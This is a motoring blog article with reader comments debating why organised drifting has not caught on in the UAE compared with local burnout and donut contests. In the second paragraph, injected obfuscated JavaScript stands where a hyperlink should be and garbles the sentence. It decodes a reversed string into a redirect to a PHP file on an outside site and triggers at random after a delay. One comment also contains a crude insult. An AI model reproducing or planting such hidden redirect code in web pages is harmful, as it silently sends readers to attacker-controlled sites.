Guest Author – Ian Cox
No matter how many times I watch it on Gear One, I still can’t work out the rules or how you win. You know what I’m talking about; garishly painted Nissan Patrols and Land Cruisers, bouncing off rev limiters with that familiar staccato cracking accompanied by flames as they turn another set of nylon sand tires into a smoking molten mess.
There seem to be different classes, that much I’ve worked out. There’s even a special one for people with $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/201110383/ferrari-f430-giving-it-death-uae/” target=”_blank”>Ferraris who plaster the windscreen with BlackBerry Messenger PINs. I wonder if they get extra points for that? Some of the guys do actually seem to have a semblance of car control and I’ve watched drivers perform a perfect drift round the arena before ending up with the throttle nailed, car heading backwards and the rear tires sparking as they slowly reverse towards the concrete barriers.
Drifting is a skill, to some an art form, developed by Japanese touring car legend Kunimitsu Takahashi in the ’70s as a rather unorthodox racing style. It inspired the man many aficionados are more familiar with today, Keiichi Tsuchiya, The Drift King, to have a go himself on the mountain roads of Japan. The rest is history and drifting has developed into a worldwide phenomenon and sport in its own right.
With professional drivers, full works race teams, multi-million dollar sponsorship, television exposure and more magazines and DVDs devoted to it than you can shake a stick at, there’s only one question to answer isn’t there? Why has the sport in its purest form not caught on here in the UAE? Let’s not discount the efforts of SSK Racing here, but I mean really caught on.
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Force10
To be ‘drifting’ by definition you need to have 4 tyres sliding on the asphalt at the same time and not two, which alone puts a comfortably large distance between whatever it is that those Donut Kings think they’re doing and ‘drifting’ in any technical sense of the word.
Whatever floats peoples’ boats though. It’s all fun and games, this – people want to do burnouts, donuts, go in circles, yank their e-brakes around cones – all good. Right up until we start crossing the line between hobby and motorsport and pretend too much in terms of the skills in the skills department is all.
Above the posted speed limit and sliding? Well hello, now we can start talking!
Ian Cox
Nortad, I do agree with you, the technique has been used for years in one form or another. Though it was the Japanese that developed it into a ‘sport’. I was brought up watching MkII Escorts on rally stages and owned them later myself. What we can’t work out here is why with all the money, the talent and the space, we can’t develop this form of Motorsport here in the way other countries have when we have brought most others. As Phil says, the art of hooning around in a car park here is popular enough, so why don’t they bring it to the masses here in the same way the States, UK and the rest of Europe have. Love it or hate it, it’s a sport with it’s followers, so lets give them something to follow.
For the record, I love nothing better than watching reruns of Goodwood and proper race induced drifts!
Samer Khadra
Wow that is one of the greatest articles I have ever seen !!
To be honest with you I have been thinking the same about the local guys who keep doing donuts and burnouts until they kill their engines and since I have started drifting I have had to deal with these crazy drivers !! and to answer some of your question YES They have rules which is to do about 10 different moves within 3 minutes when they only have to do it in 3 minutes and each move will get 10 point !! The costs of this is enormous, all for a crazy engine of only 700 or 800 whp ! They have a large number of spectators and each winner of his class will win around AED3,000 in each round and at the end of the season the overall class winner will receive what the local driver they called it PIZZA CAR (ie: a Toyota Yaris or a Nissan Tida !).
They have their own sponsors whom build these crazy cars.
and at the end of the day the sponsor pay for the advertisement which they got on the cars and the local forums !! and for sure the driver they do it for having fun and being famous as King of Drifting !
With regard to drifting, yes Alex I was one of the people who used to think doing donuts was drifting until Julian Smith came along, and he started to teach us what drifting is really all about, how to do it properly and how to get the maximum potential out of your car etc.
Then we started to really learn about drifting and we have had to work hard, yes we still need more practice and more time until we can do a proper drift but at least we have tried !! we also need people to start to listen and understand the real meaning of ‘drifting’.And as well support the drifting.
My question is that if those people have managed to create their own ‘sport’ then why don’t we help them to evolve it into something more productive rather than just burning out their engines ?
and final is Drifting a Motor sport ?!! i don’t think so it is more entertaining and having fun and that’s why we don’t have champion in drifting !! and they don’t have an attitude bcz there is no champions and it is more for having fun than anything else so you will see the drifter in every where in the world are more friendly and they work as one team !.
Thank you.
Alex
Phil I think you have just got your answer from the reader above. People dont even know what Drift is.
For example the reader above thinks that only oversteer or sliding is drift. Locals think that burnouts, donuts etc is drift. It is better to make an article what really drift is and what the Japanese invented as a form of motorsport and then try to find answers why drift isn’t popular here…. 😉
Phil McGovern
Sounds like a plan Alex… Willing to write it for us?
Nortad
Man, you guys are REAL dumbfucks aren´t you? “Drifting” wasnt “invented”, “drifting” exists since the dawn of motoring. Go watch Nuvolari drifting his Alfa Romeo Grand Prix car around corners back in the day of pre-war racing. Go watch the early StockCar racing in the States back in the late 40´s early 50´s, go watch European Rallying back in the late 60´s early 70´s with their Alpine-Renault A110, Lancia Stratos, and Ford Escort´s Mk1 and 2 getting their tail out in rally stages. The japanese just invented a diferent name for Oversteering and wrapped it in a nice pacage for little teen fanboys to aprecciate. They didn´t invent anything. They just called an already existing driving technique by a diferent name.
Phil McGovern
No need to get all offensive 🙂
What we are highlighting is that the “Sport” of drifting is a relatively new game… Yes power oversteer, letting it all hangout, sliding etc etc has been around for years, but closed course drift events haven’t.
Then we are connecting it to the love affair with just arsing around in a carpark that is so dearly loved in the Middle East. If drifting is so big and growing bigger by the month, around the rest of the world, why hasn’t it picked up a head of steam in the Arab world… even though the likes of JDM, Formula Drift etc have put on events.
Get it now?